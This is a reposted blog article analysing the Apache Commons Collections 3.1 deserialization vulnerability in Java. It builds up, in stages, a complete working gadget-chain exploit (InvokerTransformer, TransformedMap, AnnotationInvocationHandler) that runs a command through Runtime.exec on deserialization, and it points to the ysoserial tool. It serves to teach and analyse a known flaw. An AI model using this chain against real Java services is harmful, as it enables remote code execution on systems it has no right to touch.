Home  >  Article  >  Operation and Maintenance  >  Example analysis of Apache Commons Collections deserialization vulnerability

Example analysis of Apache Commons Collections deserialization vulnerability

王林
王林forward
2023-05-17 15:10:341760browse

1. Introduction

Although the deserialization vulnerability of this component has been analyzed by many articles, it still needs to be recorded here. After all, this is significant for the development of Java deserialization vulnerabilities.

Apache Commons Collections is a very commonly used tool library in Java application development. It adds many powerful data structures, simplifies the development of Java applications, and has become a recognized standard for Java to process collection data. Many common applications such as Weblogic, WebSphere, Jboss, Jenkins, etc. all use the Apache Commons Collections tool library. When a deserialization vulnerability occurs in the tool library, these applications are also affected. This is why the deserialization vulnerability is so serious. reason.

2. Test environment

jdk1.7.0_21 commons-collections-3.1.jar

Apache Commons Collections component historical version download address: http: //archive.apache.org/dist/commons/collections/binaries/, or use maven dependency:



commons-collections
commons-collections
3.1

This component has been integrated in the Java deserialization vulnerability exploitation tool ysoserial (https://github.com/frohoff/ysoserial) Vulnerability exploit payload; during penetration testing, just look for the entry point of Java deserialization according to the characteristics of Java serialized data (data starting with rO0AB in hexadecimal aced or base64 encoding format), and based on the Web application Guessing that the CommonsCollections component may exist, you can directly use the ysoserial tool to directly generate the payload for vulnerability exploitation.

Apache Commons Collections反序列化漏洞的示例分析

3. Vulnerability Analysis

Here we analyze the code execution vulnerability exploit chain constructed using the Transformer interface and several classes that implement this interface.

Transformer interface

The definition of the Transformer interface is very simple. It only defines a transform() method. According to the documentation, this method is mainly used for object conversion. There are quite a few classes that implement this interface. Here we mainly use the following three implementation classes: ConstantTransformer, InvokerTransformer and ChainedTransformer.

package org.apache.commons.collections;

public interface Transformer {
    //对象转换
    public Object transform(Object input);
}

ChainedTransformer class

The ChainedTransformer class defines a Transformer[] array, and when implementing the transform() method, it traverses the array elements in sequence and calls the Transformer implementation class corresponding to the array element. The transform() method strings together multiple Transformer objects.

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    ...
        
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

    ...
}

InvokerTransformer Class

The transform() method of the InvokerTransformer class mainly calls a method of the incoming parameter object through the reflection mechanism. You only need to set the method name and parameter type when constructing the InvokerTransformer object. and parameter values.

public class InvokerTransformer implements Transformer, Serializable {
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    ...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //简化后的transform()方法,通过反射机制调用对象的方法
    public Object transform(Object input) {
        ...
        
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
                
        ...  
    }
}

ConstantTransformer class

The ConstantTransformer class is very simple and directly returns the incoming object.

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }

    ...
}

In view of the aforementioned situation, we aim to implement the execution of the code Runtime.getRuntime().exec(). Obviously, we need to use the transform() method of the InvokerTransformer class to implement the reflection call. As shown below, this is the source of code execution:

package orz.vuln.poc;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
        //通过InvokeTransformer类反射调用Runtime代码
		InvokerTransformer invoker1 = new InvokerTransformer("getMethod", 
				new Class[] {String.class, Class[].class}, 
				new Object[] {"getRuntime", null});
		InvokerTransformer invoker2 = new InvokerTransformer("invoke", 
				new Class[] {Object.class, Object[].class}, 
				new Object[] {null, null});
		InvokerTransformer invoker3 = new InvokerTransformer("exec", 
				new Class[] {String.class}, 
				new Object[] {"calc.exe"});
		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));
		
		/*正常反射调用Runtime代码
		Class clazz = Runtime.class;
		Method m1 = clazz.getMethod("getRuntime", null);
		Method m2 = clazz.getMethod("exec", String.class);
		m2.invoke(m1.invoke(clazz, null), "calc.exe");
		*/
	}
}

Further, we found that we can use the transform() method in the ChainedTransformer class instead of invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class ))), that is, initialize the above multiple InvokerTransformer objects into Transformer[] arrays, and use Runtime.class to initialize the ConstantTransformer class object. In this way, a Transformer call chain that can trigger code execution using any object can be constructed:

package orz.vuln.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform("foo");
	}
}

Next, we hope to trigger the call to the transform() method of the Transformer object through deserialization to achieve the purpose of code execution.

TransformedMap class

Apache Commons Collections defines a TransformedMap class to perform some transformation on the Map. This class is instantiated by calling the decorate() method, as shown below:

Apache Commons Collections反序列化漏洞的示例分析

And there is also a checkSetValue() method in this class, in which the transform() method of calling the Transformer object is implemented; according to the method description, the checkSetValue() method Will be called when the setValue() method is called:

Apache Commons Collections反序列化漏洞的示例分析

# Therefore, our idea is to initialize the TransformedMap object by using the Map object and the constructed malicious Transformer object, and then call setValue () method modifies the value of the Map object. The code is as follows:

package orz.vuln.poc;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("foo", "bar");
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		entry.setValue("test");
	}
}

Continue to look for the place where the execution of the setValue() method is triggered through deserialization, and finally found it in the readObject() method of the AnnotationInvocationHandler class.

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示:

Apache Commons Collections反序列化漏洞的示例分析

由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件

Apache Commons Collections反序列化漏洞的示例分析

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

Apache Commons Collections反序列化漏洞的示例分析

最终,完整漏洞利用代码如下:

package orz.vuln.poc;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		//entry.setValue("test");
		
		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Target.class, transformedMap);
		
		FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");
		ObjectOutputStream oos = new ObjectOutputStream(fos);
		oos.writeObject(instance);
		oos.close();
		fos.close();
		
		FileInputStream fis = new FileInputStream("D:/commonscollections.ser");
		ObjectInputStream ois = new ObjectInputStream(fis);
		ois.readObject();
		ois.close();
		fis.close();
	}
}

The above is the detailed content of Example analysis of Apache Commons Collections deserialization vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Statement:
This article is reproduced at:yisu.com. If there is any infringement, please contact admin@php.cn delete